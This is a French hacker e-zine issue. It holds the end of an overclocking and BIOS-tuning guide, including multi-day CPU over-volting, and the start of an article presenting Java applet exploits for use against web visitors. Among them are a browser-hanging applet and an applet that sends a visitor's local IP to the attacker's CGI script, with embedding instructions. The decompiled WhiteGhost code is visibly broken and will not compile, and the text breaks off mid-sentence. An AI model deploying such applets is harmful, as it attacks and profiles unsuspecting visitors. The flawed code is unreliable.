directement sur la carte mère, ce qui est loins d'être pratique puisqu'il vous faudra démonter le boîtier pour y avoir accès. Bien entendu la
carte doit également disposer d'un BIOS "Flashable". Tout les fabricants de cartes mère proposent plus ou moins ces "options". Les cartes "de
références" sont les ABIT et ASUS mais d'autres marques moins connues pourront également aller. (TYAN, GIGABYTES, etc...).
- Boitier :
Optez pour un grand boîtier permettant une bonne circulation de l'air, l'ajout de ventilateurs et doté d'une bonne Alimentation. 300 Watts ou
plus, surtout pour un ATHLON ou un PIII. Les boitiers MOREX offrent par exemple d'excellents résultats à ce niveau. Ils est très important
d'avoir un grand boitier afin que le flux d'air ne soit pas géné par les cables et de plus une grosse alimentation est préférable pour rajouter
des ventilateurs afin d'augmenter ce flux d'air.
- Ventilateurs :
Ils doivent être le plus gros possible, avec 1 voir 2 ventilateurs très "performants". la référence actuelle est ALPHA mais beaucoups de
fabricants commence à proposer de bons "systèmes de refroidissement". Il est évident qu'un ventilateur a 90ff chez votre assembleur préféré est
loin d'être suffisant pour encaisser la hausse de température, consultez donc les sites spécialisés sur le net. L'alternative du ventilateur est
les plaques à effet peltier. Cette plaque, grâce à un courant électrique qui la traverse, reste froide d'un côté tandis que l'autre emmagasine
toute la chaleur. Il suffit alors de placer la partie froide sur le processeur et de ventiler la partie chaude (<maddany>vous pouvez aussi faire
l'inverse si ça vous éclate). Malheureusement, ce système dégage énormément de chaleur et augmente la température globale du boîtier. Utilisez de
La pâte thermique qui permet d'assurer un contact à 100% entre le CPU et le Radiateur via elle-même, et comme c'est un bon conducteur thermique
cela permet d'améliorer légèrement le refroidissement CPU. On peut en trouver dans les magasins d'électronique ou chez certains assembleurs.
- Memoire vive :
Elle doit être la plus rapide possible. Maintenant, vous pouvez trouver de la SDRAM à 133 Mhz, qui restera le meilleur choix. Si vous êtes sur
Paris certains assembleurs vendent de la memoire certifiée à 146Mhz alors si vous croisez cette memoire foncez c'est la meilleure memoire à ce
jour :o)
<wolf> ben y'a de la 166 maintenant, mais elle coute la peau du cul alors que la 133 est moins chere que la 100, mwarf
<cybz> l'alternative consiste a prendre une carte mere, un boitier et un ventilateur de merde pour s'acheter un meilleur processeur ;)
-----------------------
2.4 : Refroidissement :
-----------------------
Le principal problème lors d'un overcloking, c'est la chaleur excessive dégagé par le processeur. Ainsi il faut refroidir à l'extrème le
processeur et l'intérieur du boitier afin de garantir une stabilité optimale du materiel. Il existe deux sortes de refroidissement : le
refroidissement hardware et le refroidissement software.
Refroidissement HARDWARE
- Le processeur :
Vous vous en doutez, le refroidissement de votre processeur est le plus important. L'ensemble CPU/Radiateur/Ventilateur est une grosse source de
chaleur et à l'origine, seul le minimum nécessaire est assuré. Il est donc nécessaire de changer votre ventilateur d'origine par un bon
ventilateur comme un ALPHA. Alpha propose pratiquement un système de refroidissement par type de processeur. Que ce soit pour Intel ou AMD. Une
chose importante est le contact entre le processeur et le dessous radiateur. Pour assurer un parfait contact, la meilleur chose est d'avoir deux
surfaces complètements planes collées par une couche de pâte thermique. Pour améliorer le contact un ponçage de la surface du processeur peut
etre envisageable avec de la toile émerie très fine (en posant la toile sur une surface plane et en frottant doucement le processeur dessus).
Cette procédure bien qu'efficace est très précise et demande beaucoups de patience et d'attention. Si vous effectuez ces manipulations, pensez à
bien nettoyer les deux surfaces de façon à enlever toute trace de particules métalliques. Il faut bien présicer que le poncage dépend du
processeur il est en effet fortement deconseillé de poncer un P3 mais un celeron ou un K6-2 ou K6-3 sont facilement poncables. Pour fixer votre
processeur à votre radiateur, il faut déposer une fine couche de pâte thermique sur toute la surface de votre processeur et de bien fixer le
tout. Il existe plusieurs sortes de pâte thermique. La meilleure est la pâte silicone, ou encore mieux la pâte à base d'argent mais attention
c'est aussi un très bon conducteur électrique ! Evitez par contre les "plaques autocollantes" qui ne sont pas du tout efficaces. Il existe
également des "colles" à base d'époxy à grande conductivité thermique.
- Le boitier :
Il est très important d'assurer un bon flux d'air dans le boitier, préférez un grand boitier les petits sont à éviter. Si votre boitier ne
comporte que le ventilateur de l'alimentation, vous devez pouvoir en ajouter un en bas de la tour sur la face avant. Ce ventilateur doit aspirer
l'air extérieur pour être ensuite expulsée par le ventilateur de l'alimentation. Vérifier aussi que les cables, à l'intérieur de la tour ne
soient pas "en vrac". Le mieux est de les attacher entres eux et de les fixer sur la paroi de votre boîtier, de façon à ne pas gêner le mouvement
de l'air à l'intérieur.
Voilà les principaux éléments à vérifier et à appliquer pour effectuer un bon overclocking. Maintenant si vous êtes vraiment un perfectionniste,
vous pouvez également vérifier les points suivant :
Dès que l'on augmente la fréquence du bus de la carte mère, on pousse également d'autres éléments qui vont donc chauffer. Vous pouvez donc
essayer de refroidir aussi :
Les puces du chipset qui gèrent toutes les liaisons avec le processeur et la mémoire. Elles comportent parfois un radiateur vert, souvent sans
pâte thermique, ou carrément sans rien du tout.
Tout comme le processeur, les chips mémoire du cache sont également des éléments critiques vous pouvez donc essayer de les refroidir, ce qui est
moins évident car ce n'est pas vraiment prévu et il n'y a pas de fixation particulières et généralemant le ventilateur du processeur "gêne"
l'accès à ces éléments.
Refroidissement SOFTWARE
Tous les microprocesseurs récents intègrent des fonctions de "mise en sommeil", "d'activité ralentie". Il s'agit de modes de fonctionnement dont
le but est d'économiser l'energie quand le processeur ne travaille pas ou peu. Bien evidemment, un processeur en sommeil, chauffe moins et les
quelques degrés en moins gagnés peuvent s'avérer très utiles. Ces logiciels gèrent donc cette "option". il en existe plusieurs les deux plus
connus sont Rain et Cpuidle.
Vous pouvez télécharger la version de Cpuidle 5.6 ici : http://www.bugcomputer.com/cpuidle/cpuidle56.zip
--------------
2.5 : Rodage :
--------------
Voici un des points de l'overclocking ou beaucoup de personnes ne sont pas d'accord. Le rodage ou burning
Pourquoi roder un processeur ?
L'idée est simple, il s'agit de faire fonctionner un processeur au "maximum" de ses capacités pour qu'il puisse ensuite tourner à une
sur-fréquence qu'il n'acceptait pas initialement.
Le rodage consiste donc à faire fonctionner plusieurs jours un processeur avec une tension d'alimentation, supérieur au maximum autorisé par le
constructeur. Par exemple, si votre processeur est prévu pour tourner à 2.1 V, on alimentera le processeur à 2.3 ou 2.4 V voir plus. Attention
toutefois, n'allez pas mettre la tension à 3.0 V sinon vous allez rapidement voir votre processeur "griller". Cet usage intensif nécessite donc
un refroidissement de premier ordre. Maintenant, il vous faut faire tourner un jeu ou une application qui demande le maximum des possibilités de
votre CPU et la encore Quake III sera très bien. Une fois la période terminée, (plusieurs jours sont nécessaires) le CPU acceptera, peut être, de
fonctionner à des fréquences qu'il n'acceptait pas dans vos premiers "essais" d'overclocking. Bien sûr les avis sont partagés sur cette
technique, en effet en plus d'être risquée et mortelle pour votre processeur, il arrive fréquemment que toutes ces manipulations ne vous donnent
absolument aucun résultat. De toutes façon personnellement, je pense que si votre processeur ne fonctionne pas à une fréquence supérieur de 50
Mhz à sa fréquence d'origine, le plus sage est de se résigner, et de le laisser à sa fréquence initiale.
<cybz> Prochain numero, le tuning de processeur : Mettez un peu d'couleur a votre Duron ;)
-----------------------------------
2.6 : Overcloking des procs INTEL :
-----------------------------------
Je vais donc commencer par les processeurs INTEL.
Il existe plusieurs sortes de processeurs qui ont bien sûr beaucoup évolué.
Les premiers Pentium Intel amenèrent des fréquences de bus plus rapides, alors que celles ci s'arretaient à 50 Mhz, s'ajoutèrent 60, 66, 75, 83
Mhz et rapidement pas mal de personnes s'aperçurent qu'en changeant la fréquence du CPU, un P75 devenait alors un P90. Qu'en changeant le
multiplicateur d'un 133 Mhz en X2.5 on arrivait à 166 Mhz. Par contre ces processeurs ne permettait pas vraiment de gros overclockings et très
vite Intel "brida" ses processeurs aux niveaux du coefficient multiplicateur. Le premier processeur qui permis d'offrir de vraies capacités
d'overclocking fut le celeron 300 A, doté d'un cache L2 à la fréquence processeur. Après l'arrivée des fréquence de bus 95, 100, 105, 112, 124,
133 Mhz ce processeur prévu pour tourner à une fréquence de 66Mhz s'avéra fonctionner dans tout les cas à 100 Mhz ce qui donnait une fréquence de
450 Mhz. (4.5 X 100 au lieu de 4.5 X66). Maintenant, les Pentium III coppermine et Céleron offrent de grandes possibilités d'overclocking, les
tensions étant très basses, ces processeurs chauffent beaucoups moins et acceptent plus facilement des vitesses plus élevées. Je ne vais pas
reprendre chaque processeur INTEL et vous donner les résultats obtenus car vu l'évolution, ces résultats seraient très vite dépassés (pour voir
des résultats recents d'overcloking je vous conseille ce site : www.hardware.fr). Je vais juste vous donnez un exemple : un p3-500E coute environ
1000ff, avec un bon overcloking il marche parfaitement à 850Mhz ou en un p3-700E marche à 1000Mhz !!! vous voyez tout de suite comme les
processeurs INTEL sont maléables et facilement overclokable à condition d'avoir du bon matériel.
Il n'y a pas de "références" pour chaque processeur, c'est à vous seul de voir les limites de ce dernier.
Les processeurs qui donnerons les meilleurs résultats sont les suivants :
- La gravure de la puce doit être la plus petite possible (nous sommes à 0.18µ et bientôt 0.13µ)
- La tension du processeur doit être la plus basse possible (généralement va en fonction de la gravure de la puce)
- Les p3 de la série E car ils chauffent bien moins que les autres et ils sont a 100Mhz de bus systeme et passe donc facilement à 133 ou plus.
---------------------------------
2.7 : Overcloking des procs AMD :
---------------------------------
Pour les AMD la chose se complique un peu. Prenons déjà les K6, K6-2 et 3.
Ces processeurs sont en théorie très simples à overclocker.
N'étant pas bridés au niveau du coefficient multiplicateur, il est donc tout à fait possible d'augmenter le coeff multiplicateur ainsi que la
vitesse de bus pour atteindre de "grosses vitesses". Bien sûr en théorie car cette catégorie de processeur chauffe énormement. Pour un K6-2 450
Mhz il n'est pas rare de voir la température à 65 °. Vous pouvez donc essayez de passer à 500 Mhz (5x100 ou 4.5x112) mais le résultat n'est pas
garanti !
Donc pour ces processeurs, vous pouvez augmenter et le coefficient multiplicateur du processeur et la vitesse de bus de votre carte mère.
Pour les ATHLONS la marche à suivre est un peu différente. En théorie le coefficient multiplicateur de l'Athlon n'est pas bloqué comme le PIII
mais les cartes mères Socket A ne permettent pas le réglage du coefficient multiplicateur de l'Athlon. Il reste donc la vitesse du bus de la
carte mère, malheureusement aucune carte mère Slot A n'offre la stabilité nécessaire pour rivaliser avec une configuration Intel dans ce domaine.
Pas simple tout ca !!
Pourtant il existe plusieurs moyens. Le premier est la soudure. non ce n'est pas une blague. Si vous êtes adroit, vous avez tout à fait la
possibilité d'overclocker votre Athlon avec votre fer à souder. Ci vous êtes pris de l'envie de bricoler la marche à suivre se trouve ici :
http://www6.tomshardware.com/cpu/99q3/990826/athlon_overclock-01.html
Le deuxième, plus simple mais qui vous fera quand même débourser environ 350 francs. C'est l'achat d'un petite carte qui vient se brancher sur
votre ATHLON et propose une série de réglages pour Overclocker votre processeur.
---------------------------------
2.8 : Comment on o!vercloke ? :
---------------------------------
Pour les cartes mère avec les réglages par le setup :
Pour les cartes mère qui proposent les réglages par le bios, ceci est beaucoup plus simple. Déja vous n'avez pas à ouvrir votre tour. puis tous
se fait sans avoir à manipuler des petits jumpers bien souvent très difficiles d'accès. Pratiquement toutes les nouvelles cartes mère propose
cette "option". Lorsque vous rentrez dans votre BIOS par la touche "Suppr" de votre clavier ou autre suivant les cartes mère, vous trouverez un
"paragraphe" qui portera le nom de CPU SOFT MENU. Bien sûr suivant les modèles, marques, il est fort possible que ces options soient regroupées
dans un autre paragraphe. Et comme je ne connais pas tous les Bios par coeur :)) J'ai pris exemple sur une ABIT BE6.
-CPU Name Is : (Désignation du microprocesseur).
- CPU Operating Speed : Cette option permet de régler la vitesse du microprocesseur. Dans ce champ, la vitesse est exprimée de la manière
suivante : Vitesse du microprocesseur = Horloge externe X Facteur multiplicateur.
- Turbo Frequency: Cette option sera affichée uniquement si lhorloge externe de votre microprocesseur supporte le mode Turbo. Le mode Turbo
vous permet daccélérer lhorloge externe dapproximativement 2.5%. Cette caractéristique est utilisée pour vérifier la tolérance de la
conception. Cest un outil très important pour les tests unitaires de la stabilité du microprocesseur. Nutilisez pas cette caractéristique.
.Disable : Lhorloge externe fonctionne dans les limites habituelles. .Enable : Lhorloge externe fonctionne dans les limites du mode Turbo.
- Multiplier Factor: C'est ici que vous devez choisir le coefficiant multiplicateur de votre processeur : . 2.0 . 2.5 . 3.0 . 3.5 . 4.0 . 4.5 .
5.0 . 5.5 . 6.0 . 6.5 . 7.0 . 7.5 . 8.0 Cependant, les différences existent en raison des différentes marques et des différents types.
- SEL100/66# Signal: Le réglage par défaut est High à 100 MHz, et Low à 66MHz. Lorsque vous voulez essayer un facteur multiplicateur à 100 MHz
et que vous ne pouvez pas le choisir dans létat High, alors vous pouvez utiliser létat Low.
- AGPCLK/CPUCLK: Le réglage par défaut est 2/3. Dans cette situation, la vitesse du bus AGP est égale au 2/3 de la vitesse de bus du
microprocesseur. Si vous choisissez le réglage 1/1, la vitesse du bus AGP sera égale à la vitesse de bus du microprocesseur.
- AGPCLK/CPUCLK: Vous avez 16 option: Default, et 1 a 15. Cette caractéristique vous permet d'ajuster la vitesse du cache L2 du processeur. plus
la valeur est grande, plus vite la vitesse du cache L2 sera grande. Attention, à ne pas trops pousser le mieux est le le laisser par défaut.
- Speed Error Hold: Vous devez choisir Disable. Si vous mettez sur Enable, lorsque la vitesse du microprocesseur est mauvaise, le système
sarrêtera.
- CPU Power Supply: Cette option vous permet de basculer entre lalimentation par défaut et celle définie par lutilisateur.
- CPU Default : Le système détectera le type de microprocesseur, et choisira automatiquement le voltage correct.
- User define : Cette option permet à lutilisateur de choisir manuellement le voltage. Vous pouvez changer les valeurs de la liste Core
Voltage en utilisant les touches Page Haut et Page Bas.
Voici en gros ce que vous allez retrouver. Bien sûr suivant les constructeur. Vous aurez peut être plus de choix voir moins.
Pour les cartes mère avec les réglages par Jumpers ou switchers :
Pour ces cartes mères les options se règlent donc par jumpers ou switchers. Bien sur toutes les cartes mère étant différentes, vous devez vous
aidez de votre notice. Si toutefois vous l'avez perdue, je vous conseilles d'aller sur le site du constructeur.
Vous aurez donc trois choses à régler.
- Vitesse du bus de votre carte mère.
- Coeff. multiplicateur de votre processeur. Les Processeurs réçents sont bridés. donc valable pour les (AMD k6, k6-2 et 3 et premiers pentium)
- Tension d'alimentation. (Soyez toujours aussi prudents)
Dans tous les cas, la vitesse de votre processeur est = Coefficient multiplicateur X fréquence du Bus de votre carte mère. Pour Exemple, un PIII
500 (5 X 100 Mhz) Pourra par exemple passer à 620 Mhz (5 X 124 Mhz).
------------------------
2.9 : Trucs et astuces :
------------------------
Bien sûr il y à des risques. Pour rappel
- Perte de garantie
- Perte de données
- Panne ou destruction du CPU, de la carte mère ou de l'alimentation.
Bien entendu, il ne faut pas paniquer. Il se peut très bien qu'au premier redémarrage de votre ordinateur, vous obtenez un écran noir ou que
Windows ne démarre plus.
Voici donc quelques "remèdes" à essayer.
- Votre PC refuse de démarrer - écran noir
Si vous avez la possibilité de rentrer dans votre BIOS, remettez les options par défaut. Si absolument rien ne s'affiche même après plusieurs
redémarrages, vérifier sur la notice de votre carte mère ou se trouve le CCMOS ce cavalier vous permet de décharger le CMOS de votre carte mère.
Attention à bien débrancher l'alimentation pour effectuer cette manipulation.
- Votre PC plante ou est très instable
Essayez les Astuces ci-dessous ou revenez à la configuration d'origine.
<cybz> - Le silicium fondu s'est collé sous vos chaussures
Prenez un chiffon humide et mettez y un peu de pate thermique, frottez fort
sur la semelle et ça devrait partir. ATTENTION : mettez toujours des chaussures
avant d'overclocker votre processeur !</cybz>
- Les Astuces
Ceci n'est pas une liste de remèdes miracles mais des options à vérifier qui peuvent agir sur la réussite de votre overclocking.
- Vérifiez la ventilation.
Vérifiez que vous ayez bien fixé votre ventilateur. Qu'il y ait une bonne circulation de l'air dans votre tour. Si votre carte mère à une option
de température, regardez la température normalement elle ne doit pas dépasser les 70°C (voir 75) en fonctionnement, surtout dans le cas d'un PIII
ou ATHLON.
- Augmentez le voltage de votre CPU
Avec précaution bien entendu ! Si votre processeur chauffe déja beaucoup, gardez à l'esprit qu'une augmentation du voltage le fera chauffer
encore plus.
Augmentez par pas de 0.1 V voir 0.05 si votre carte propose cette option.
- Vérifiez quelques options dans le bios
Lorsque vous passez la fréquence de votre bus à 75 voir 83 MHz, la RAM peut poser des problèmes. En effet il se peut qu´elle ne supporte pas la
vitesse qui lui est demandée. Passez la DRAM Speed de 50ns à 60ns, de 60ns à 70ns, ou passez les "Write/Read Burst" de x2222 à x3333.
La fréquence du bus ISA peut également poser des problèmes. Il faut alors augmenter les temps de latence 8/16 bits (8/16 bits I/O Recovery Time).
Il est parfois nécéssaire de baisser le mode de fonctionnement du disque dur, c´est à dire son Pio Mode, essayez de le passer à "3".
- Mettez à jours vos BIOS
Mettre à jours les bios de votre carte mère, carte vidéo etc... peut résoudre pas mal de problèmes donc n'hésitez pas.
-------------------
2.10 : Conclusion :
-------------------
L'overcloking est donc la moyen ultime d'augmenter les performances de son pc pour pas cher. Meme si c'est l'optimisation la plus efficace sur
un pc il existe tout un tas de petits plus dans le bios notamment qui permettent d'augmenter sensiblement les performances d'un système
informatique.
3°) OPTIMISATION (ou l'art de ne jamais être satisfait)
----------------------------
3.1 : Optimisation du bios :
----------------------------
Encore une fois pour une description plus détaillée je vous renvoie à mon article la dessus dans sleazy wind 2.
Le BIOS (Basic Input Output System) est l'élément qui coordonne les différents composants de votre PC chéri. Les réglages par défaut, qui
permettent à différentes machines de fonctionner, ne sont vraiment pas optimisés. Les manipulations que nous allons voir ont leur équivalant sur
pratiquement tous les BIOS (Award, Ami), quel que soit la version, mais les noms utilisés peuvent varier. De même, les différents matériels
donnerons des options différentes.
ATTENTION : un mauvais réglage peut provoquer des plantages voir même empêcher la machine de booter. Alors notez bien vos valeurs sur papier
avant de les modifier !
- [Standard CMOS]
Rien de bien intéressant à optimiser là dedans... Néanmoins, mettez vos disques sur USER plutôt que sur AUTO. Vous gagnerez un peu de temps lors
du boot (mais alors vraiment pas beaucoup, hein ?).
- [BIOS Feature]
- [CPU Level 1 Cache] (ou CPU Internal Cache) : c'est le cache interne. Activez-le !
- [CPU Level 2 Cache] (ou CPU Extenal Cache) : c'est le cache externe. Activez-le ! Si l'option WriteBack est disponible, utilisez là !
- [Quick Power On Self Test] : permet de ne pas faire différents tests lors du boot. Cela accélère le démarrage de la machine. Activez-le !
- [Boot Sequence] : permet de choisir les unités de boot. Afin que le PC ne vérifie pas la présence d'une disquette dans le lecteur à chaque
démarrage, ne mettez pas A en première position. Si vous devez bootez sur une disquette par la suite, changez à nouveau cette option.
- [Boot Up Floppy Seek] : détecte la présence et le type de lecteur de disquette au moment du boot. Désactivez-la pour gagner du temps.
- [IDE HDD Block Mode Sectors] : permet aux accès disque de se faire sur des blocs de secteurs, ce qui accélère donc ces accès. Mettez donc
cette option sur Enabled ou HDD Max.
- [Video BIOS Shadow] : copie les données de la carte vidéo dans la mémoire vive (plus rapide que la mémoire morte). Mettez cette option sur
Enabled.
- [Shadowing address range] (ou XXXXX - XXXXX Shadow) : Chacun de ces blocs mémoire peut être copié en RAM. Activez-les un à un si votre
matériel les utilise (et faites attention aux conflits, hein ?).
- [Chipset Feature]
- [SDRAM Configuration] (ou Auto Configuration) : ceci permet au BIOS de configurer automatiquement la mémoire. Vu que l'on veux le faire
nous-mêmes comme un grand, on met cette option sur Disabled.
- [SDRAM CAS Latency] (ou Dram CAS Latency ou encore Dram Timing) : ici, c'est la vitesse d'échange entre la RAM et le système. Essayez de
diminuer cette valeur. Si le système est instable, augmentez-la.
- [SDRAM RAS to CAS Delay] : idem, il faut aussi tenter de diminuer la valeur.
- [SDRAM RAS Precharge Time] : idem, il faut aussi tenter de diminuer la valeur.
Selon les machines, ces trois dernières valeurs peuvent être remplacées par [DRAM R/W Bust Timing] (ou DRAM Read Burst et DRAM Write Burst) et
[DRAM R/W Leadoff Timing]. Là encore, il faut essayer d'avoir des valeurs les plus petites possibles tout en gardant un système stable.
- [Sytem BIOS Cacheable] : utilise le cache de niveau 2 pour l'exécution du BIOS système. Mettre sur Enable.
- [Video BIOS Cacheable] : utilise le cache de niveau 2 pour l'exécution du BIOS vidéo. Mettre sur Enable.
- [Video RAM Cacheable] : utilise le cache de niveau 2 pour l'exécution de la RAM vidéo. Mettre sur Enable.
- [8 Bit I/O Recovery Time] : indique la durée du délai entre deux opérations 8 bits d'entrée/sortie. Essayez d'avoir de petites valeurs.
- [16 Bit I/O Recovery Time] : tout pareil. Indique la durée du délai entre deux opérations 16 bits d'entrée/sortie. Essayez d'avoir la aussi de
petites valeurs.
De même, certaines machines peuvent vous proposer les options suivantes : [PCI Latency Timer], [PCI Burst], [PCI Fast Back to Back Write] et
[PCI Delayed Transaction]. Dans ce cas, vous devez encore une fois tenter d'avoir des valeurs les plus petites possibles.
- [Soft Menu]
Si vous possédez une carte mère Abit comme la BH6, vous avez la possibilité d'effectuer d'autres réglages mais ils servent essentiellement pour
l'overclocking. c'est à voir ci dessus :o).
/* L'article n'a pas été fini, il se termine donc prématurément ici */
Sources :
le forum de www.hardware-fr.com
www.cool-pc.org
pc expert, joystick et mes experiences personnelles
un grand merci a mon oncle qui m'a tout appris ;o)
par Zero-cooL (zerocooll@youpi.fr) l'homme qui refroidit son pc avec le vide interstellaire.
<wolf> moi j'ai un refrigerateur a -100 degrés Kelvin pour mon processeur overclocké qui ne plante jammmmmmmmmmmmmmmmmmmm
<ulysse>L'homme qui refroidit son pc avec le cerveau de cybz (oui, ça ressemble beaucoup au vide interstellaire )</ulysse>
<cybz> Je tenais a dire que cet article m'a vraiment /* to be continued */
</cybz>
--------------------------------------------------------------------------------------
/SSSSS WW WW
\SS LL EEEE AA ZZZZ Y YY WW /\ WW II NNN N DDDD
\SS LL EE_ AAAA Z YY WW /WW\ WW II NNNN N DD DD
SS\ LL EE A__A Z Y WWWWWWWW II NN NNN DD DD
SS\ LLLL EEEE A A ZZZZ Y WW WW II NN NN DDDD
SSSSS/ W W
NEUMBEUR THOU
http://members.xoom.com/SleazyWind/
---------------------------------------------------------------------------------------
Quand le web mord, by maddany
<wolf> Oh oui, mords moi
<ulysse> salaud! je savais bien que tu me trompais! </ulysse>
I. INTRODUCTION
__________________
On a tendance à considérer le simple fait de surfer sur le net comme sûr, je vais vous démontrer que c'est faux, il existe de nombreuses
attaques méconnues même au sein de la communauté underground. Je ne vais pas (ou pratiquement pas) aborder les attaques basées sur les scripts et
les contrôles activex bien trop répandues pour que je prenne le temps de les développer. Je vais plutôt m'attarder sur les exploits java étant
donné que c'est mon domaine de prédilection et que ce langage est très peu répandu à haut niveau dans l'underground, même au niveau mondial.
<cybz> quel homme ce maddany!
<mad> ben vi faut ski faut
Java est particulièrement réputé pour la sécurité de ses applets. Leur modèle de sécurité est en effet défini selon "le bac à sable" (the
sandbox), ce qui veut dire que l'applet a un certain espace de liberté limité qu'elle ne peut en aucun cas dépasser. Par exemple elle n'a pas le
droit d'accéder aux ressources sur la machine locale (fichiers, commandes...), elle ne peut effectuer de connections réseaux que vers le site
depuis lequel vous l'avez téléchargé (codebase) et n'a le droit de communiquer qu'avec d'autres applets incluses dans la même page
(AppletContext). Ce modèle très sécurisé offre assez peu de liberté de mouvement aux méchants hackers mais présente tout de même quelques défauts
que nous verrons plus loin. Si vous ne disposez pas d'outils de développement java et que vous souhaitez compiler les codes source fournis dans
ce dossier, vous pouvez télécharger le sdk :
-de sun sur http://java.sun.com/products/jdk/
-d'ibm : http://oss.software.ibm.com/developerworks/opensource/jikes/project/
-de microsoft : http://www.microsoft.com/java/
Je rappelle que pour insérer une applet dans une page html vous utilisez le tag
<applet code="Applet.class" width=200 height=150>Ce texte apparait si le browser ne supporte pas java</applet>. Pour transmettre des paramètres
à une applet utilisez la balise
<param name="NomDuParametre" value="ValeurDuParametre"> entre les tags <applet> et </applet>. Pour une introduction au java plus détaillée je
vous renvoie à l'article que j'ai rédigé pour tua0004.
Je vais présenter dans ce dossier un certain nombre d'exploits et leur code source. Je ne prétends pas faire une compilation exhaustive mais
plutôt une présentation des possibilités qui s'offrent à nous. Enjoy.
<wolf> C'est ca vas-y petes la y toi.
<mad> gnap.
II. JAVA SECURITY
______________________
/* Cet article n'est pas fini, je pensais ici faire une partie sur le modèle de sécurité java
* mais je ne l'ai jamais terminée. Au lieu de la supprimer, je laisse les notes que j'avais
* prises pour la rédiger, vous aurez un petit overview (et au moins on a l'impression que
* j'ai pas rien foutu :)
* allez voir developer.java.sun.com/developer/onlineTraining/Security/Fundamentals/abstract.html
* si vous voulez une version exhaustive de cette partie
*/
-pas de pointeurs (pas d'empiètement sur des zones de mémoire invalides)
-libération automatique des ressources qui ne sont plus utilisées. Le garbage collector runne toutes les secondes, ainsi que quand il n'y a plus
de mémoire libre disponible. On peut l'appeler manuellement dans un programme : System.gc();
-vérification lors de la compilation du type de mémoire requis, pour éviter les conversions illégales.
-spécification des droits d'accès à la mémoire grâce aux différents modificateurs (protected, private et public).
-sécurité des classes : la modificateur final appliqué aux classes interdit leur sous-classage et interdit la réécriture des méthodes.
-vérification du bytecode : étape 1 on vérifie la validité du fichier sans s'intéresser au code
étape 2 on vérifie les autres éléments (super classe...)
étape 3 on vérifie que les arguments des méthodes sont du bon type et les opcodes
étape 4 on vérifie la validité du code dans une méthode : droits d'accès à la mémoire, type etc
-chargement des classes : étape 1 on vérifie que la classe n'est pas déjà chargée en mémoire
étape 2 si ce n'est pas le cas on charge les données
étape 3 on convertir les octets en classe (la vérification est effectuée à ce niveau)
étape 4 on résout la classe si cela a été demandé
étape 5 on retourne la classe nouvellement chargée
-runtime checking (position dans un tableau, hiérarchie des classes)
-security manager
II. JAVA ATE MY BROWSER (<wolf> miam)
__________________________
***White ghost
White ghost est un exploit développé par Tan Jiat Chow, Singapour (kampf@altavista.net). Il attaque l'explorer de windows par l'intermédiaire
d'ie 4 avec active desktop activé. Pour l'utiliser correctement, insérer l'applet dans une nouvelle page (faites un lien qui ouvre une nouvelle
fenêtre avec le paramètre target="_blank") car le bug est effectif dès que la fenêtre contenant l'applet est fermée. L'applet se charge et semble
bloquée durant le processus d'initialisation, l'utilisateur ferme alors la fenêtre et voit son explorer bouffé par le bug. Les manifestations
sont diverses : disparition de la souris, des carrés blancs apparaissent dans les fenêtres actives et le menu démarrer, l'écran se gèle...
L'auteur ne souhaite pas diffuser le code tant que microsoft n'a pas remédié au problème, malheureusement il y a des emmerdeurs comme moi ;)
Voici donc le code source reconstitué par moi et mon fidèle décompilateur :
/************BEGIN WhiteGhost.java***************/
import java.awt.*;
import java.applet.Applet;
public class WhiteGhost extends Applet {
Dimension apd;
int x;
public zealand() {}
public void init() {
apd=size();
draw();
}
public void draw() {
Graphics g = getGraphics();
update(g);
do
update(g);
while(true);
}
public void update(Graphics g) {
flick(g);
}
public void flick() {
g.setColor(Color.white);
g.fillRect(0,0,apd.width,apd.height);
}
public void paint() {
update(g);
}
}
/*************END WhiteGhost.java****************/
Selon l'auteur l'exploit est plus efficace si on laisse l'applet se charger pendant 5 à 10 secondes. On peut y remédier en fermant l'explorer
avec ctrl-alt-suppr ou en rechargeant windows (personnellement je dois redémarrer à chaque fois).
***communicator et les firewalls
Je vous ai dit plus haut que les applets ne pouvaient pas accéder aux informations du système, y compris l'ip local. Seulement le problème qui
rend les applets difficiles à programmer est que chaque browser a sa propre implémentation de java. En l'occurence, communicator nous permet
d'accéder sans problème à l'ip local. Bien que ça ne soit pas un bug très spectaculaire il peut être utile pour détecter les véritables ip
derrière un firewall et donc de s'asseoir sur l'ip masquerading avec une simple applet (basé sur la démonstration de alcrypto.co.uk). Il suffit
pour cela de poster l'ip de la machine détecté par l'applet sur un cgi, qui détecte aussi l'ip qui se connecte sur lui. Si les deux ip sont
différents c'est que l'utilisateur est derrière un proxy ou un firewall. On peut comme ça arriver à mapper le réseau derrière le proxy, kewl non ?
/************BEGIN communicatorIPBuster.java***************/
import java.net.*;
import java.applet.Applet;
import java.applet.AppletContext;
public class communicatorIPBuster extends Applet {
InetAddress lhost;
public void init() {
try {
lhost = InetAddress.getLocalHost();
URL url = new URL(getParameter("url"));
String target = getParameter("target");
if(target==null)
target = "_blank";
getAppletContext().showDocument(new URL(url+"?"+lhost.getHostName()+"+"+lhost.getHostAddress()), target);
} catch(Exception e) {}
}
}
/*************END communicatorIPBuster.java****************/
Pour utiliser cette applet vous devez lui transmettre deux paramètres, votre url (comprenant le nom du script) et la frame dans laquelle le lien
doit être ouvert. Voici à quoi le résultat doit ressembler :
<applet code="communicatorIPBuster.class" width=1 height=1>
<param name="url" value="http://votre.url.com/script.cgi">
<param name="target" value="_self">
</applet>
Au cas où vous ne sauriez pas quoi mettre dans target voici les différentes valeurs admissibles :
"_self" le lien est ouvert dans la fenêtre courante
"_parent" " " " " " " " parente de l'applet (comme "_self" si elle n'a pas de parent)
"_top" " " " " " " frame la plus haute dans la fenêtre de l'applet
"_blank" " " " " " une nouvelle fenêtre (conseillé, comme ça on dirait un simple pop-up)
"nom" " " " " " la frame ayant le nom "nom", si votre page html comporte des frames bien sur
***IECrash de Fabio Ciucci
Fabio est un programmeur java assez célèbre, il a fait pas mal d'applets java avec des effets spéciaux très répandues. Il a trouvé ce bug par
hasard, alors qu'il bossait sur une applet. Comme son nom l'indique elle fait crasher ie 4 avec un vilain message d'erreur, très efficace. Comme
d'habitude il n'a pas voulu diffuser le code avant que microsoft n'ait sorti un patch, mais comme il est protégé contre la décompilation je ne
peux pas vous donner la source ici. Je m'attaquerai au code quand je connaîtrai mieux le bytecode, en attendant vous pouvez l'essayer sur
http://www.anfyjava.com/iebug/
***Classpath weaknesses
Cet exploit n'étant pas prêt à l'emploi il ne s'adresse qu'aux personnes ayant un bon background en java. Il exploite un défaut (qui n'est pas
considéré comme un défaut par tout le monde d'ailleurs) dans la gestion de la variable classpath. Ce problème n'est pas récent, il date de 1997
